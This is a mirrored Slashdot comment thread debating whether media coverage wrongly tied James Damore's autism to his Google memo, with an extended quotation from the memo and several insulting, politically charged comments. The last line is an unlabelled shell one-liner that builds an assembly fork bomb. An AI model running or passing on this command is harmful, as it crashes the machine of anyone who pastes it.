Slashdot Mirror
Critics Debate Autism's Role in James Damore's Google Memo (themarysue.com)
James Damore "wants you to know he isn't using autism as an excuse," reports a Silicon Valley newspaper, commenting on the fired Google engineer's new interview with the Guardian. But they also note that "he says being on the spectrum means he 'sees things differently'," and the weekend editor at the entertainment and "geek culture" site The Mary Sue sees a problem in the way that interview was framed.
It's the author of this Guardian article, not James Damore himself, who makes the harmful suggestion that Damore's infamous Google memo and subsequent doubling-down are somehow caused by his autism... It frames autism as some sort of basic decency deficiency, rather than a neurological condition shared by millions of people.... This whole article is peppered with weird suggestions like this, suggestions which detract from an otherwise interesting piece.. All these weird suggestions that autism and misogyny/bigotry are somehow tied (as if autistic feminists didn't exist) do unfortunately detract from one of the article's great points.
Having worked at a number of companies large and small, I can at least anecdotally confirm that their diversity training rarely includes a discussion of neurodiversity, and when it does, it's not particularly empathetic or helpful... Many corporate cultures are plainly designed for neurotypical extroverts and no one else -- and that should change. I really do think Lewis meant well in pointing that out. But the other thing that should change? The way the media scapegoats autism as a source of anti-social behavior.
Having worked at a number of companies large and small, I can at least anecdotally confirm that their diversity training rarely includes a discussion of neurodiversity, and when it does, it's not particularly empathetic or helpful... Many corporate cultures are plainly designed for neurotypical extroverts and no one else -- and that should change. I really do think Lewis meant well in pointing that out. But the other thing that should change? The way the media scapegoats autism as a source of anti-social behavior.
The point of the (well written) original article was that Damore had handled things poorly due to his condition, not that his opinions arose due to his condition. E.g. he describes how he was associated with people he had never supported following the media backlash, and his poor social skills prevented him from being able to properly articulate his true position. Also he described how aspects of the wording in his memo could have been improved if he had been able to better predict the reactions of those around him.
It seems to me that this Mary Sue article has an axe to grind, perhaps not surprising given the source.
The media "broke coverage" of Autism with Rain Man in 1988, and other than a few brief echos on Oprah and such it didn't say much again until the new millennium.
Would you think that with 17 years of practice, they'd have it down to a graceful sensitive socially correct science by now? I wouldn't. There was 10 years of "AWARENESS" beating the drum as loudly as possible while the "diagnosed" rates climbed from 1:10,000 through 1:150 and settled down around 1:68. Now that everybody is AWARE, there's been scant attempt to teach the nuance between Aspergers' and the various levels of dysfunctionality.
Give it another generation, when people who were AWARE in elementary school start framing the message it might take on a more human tone. For now, we're still getting our stories from the barely clued in.
... because I read Damore's memo and found it to be perfectly reasonable.
James Damore was asked to provide feedback after attending a diversity event at Google; he provided feedback, and then like the crazy nutcases of the Communist Revolution in China, the "feminist" SJWs used that feedback to identify Damore as a prime candidate for destruction in their Cultural Revolution.
Seriously. If you've spent any time reading about the timeline of Damore's internal document, or listening to Damore speak, you'd realize that he was very badly mistreated by an insidious group of harpies who have zero interest in improving our world.
Damore's arguments are exactly the same ones Google is going to use to defend itself from sexual discrimination claims levied against it by women working there who don't get paid as much as men.
Google really stepped in it when they claimed Damore was full of shit, and then doubled down on the SJW bullshit that all pay differences between men and women are the result of discrimination.
Well, now Google has to defend itself from the women who work at Google and get paid less than the men there.
Google is screwed either way. If Damore is wrong, Google owes a lot of women a shitload of back pay. And if Google uses anything like Damore's arguments to defend themselves from sexual discrimination claims, they wrongfully fired Damore and owe him both money and likely some serious punitive damages.
Couldn't happen to a better bunch of SJWs.
Autists usually believe you when you tell them something and they will respond honestly. So if you tell them that you want an "open and frank discussion", they will give you one. And they will of course not understand when you react in a hostile way because all they did was to give you what you wanted.
In other words, never ask an Autist for something you don't want because you WILL get it.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Comment removed based on user account deletion
Straw man argument there. What I (a flaming liberal compared to the entire US government) heard in my circles was:
- He released a company wide memo which predictably upset a lot of his coworkers
- The right wing media was taking a break from lecturing about personal responsibility to champion him as a poster boy for political speech run amok
- He might be claiming to have a PhD when he didn't actually finish it
- He performed a lewd skit in front of his grad program and got in trouble for it
- He might be going on conservative media playing up the "I'm a victim of liberals!" angle.
I'll admit all of that is behavior I've come to expect from republicans, but I heard ZERO indictments of him about his political leanings. Maybe that was just because there was too much material to get to boring stuff like that in his 15 minutes of fame.
Well look at the title
"Nope, James Damore's Autism Is Not the Cause of His Misogyny"
He didn't say that, as they admit
"Now, let me start off this article by emphasizing something: it's the author of this Guardian article, not James Damore himself, who makes the harmful suggestion that Damore's infamous Google memo and subsequent doubling-down are somehow caused by his autism. This is yet another example of the harmful ways that our culture writes about autistic people - and how damaging that narrative can be."
So why pick that headline?
Secondly there's nothing misogynistic in his memo. He's not suggesting Google should not hire women coders for example. If you read the tl;dr you see this
https://firedfortruth.com/
TL;DR
* Google's political bias has equated the freedom from offense with psychological safety, but shaming into silence is the antithesis of psychological safety.
* This silencing has created an ideological echo chamber where some ideas are too sacred to be honestly discussed.
* The lack of discussion fosters the most extreme and authoritarian elements of this ideology.
Extreme: all disparities in representation are due to oppression
Authoritarian: we should discriminate to correct for this oppression
* Differences in distributions of traits between men and women (and not "socially constructed oppression") may in part explain why we don't have 50% representation of women in tech and leadership.
* Discrimination to reach equal representation is unfair, divisive, and bad for business.
and he ends like this
Suggestions
I hope it's clear that I'm not saying that diversity is bad, that Google or society is 100% fair, that we shouldn't try to correct for existing biases, or that minorities have the same experience of those in the majority. My larger point is that we have an intolerance for ideas and evidence that don't fit a certain ideology. I'm also not saying that we should restrict people to certain gender roles; I'm advocating for quite the opposite: treat people as individuals, not as just another member of their group (tribalism).
My concrete suggestions are to:
De-moralize diversity.
As soon as we start to moralize an issue, we stop thinking about it in terms of costs and benefits, dismiss anyone that disagrees as immoral, and harshly punish those we see as villains to protect the "victims."
Stop alienating conservatives.
Viewpoint diversity is arguably the most important type of diversity and political orientation is one of the most fundamental and significant ways in which people view things differently.
In highly progressive environments, conservatives are a minority that feel like they need to stay in the closet to avoid open hostility. We should empower those with different ideologies to be able to express themselves.
Alienating conservatives is both non-inclusive and generally bad business because conservatives tend to be higher in conscientiousness, which is required for much of the drudgery and maintenance work characteristic of a mature company.
Confront Google's biases.
I've mostly concentrated on how our biases cloud our thinking about diversity and inclusion, but our moral biases are farther reaching than that.
I would start by breaking down Googlegeist scores by political orientation to give a fuller picture into how our biases are affecting our culture.
Stop restricting programs and classes to certain genders or races.
These discriminatory practices are both unfair and divisive. Instead focus on some of the non-discriminatory practices I outlined.
Have an open and honest discussion about the costs and benefits of our diversity programs.
Discriminating just to increase the representation of women in tech is as misguided and biased as mandating increases for women's representation in the homeless, work-related and violent deaths, p
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;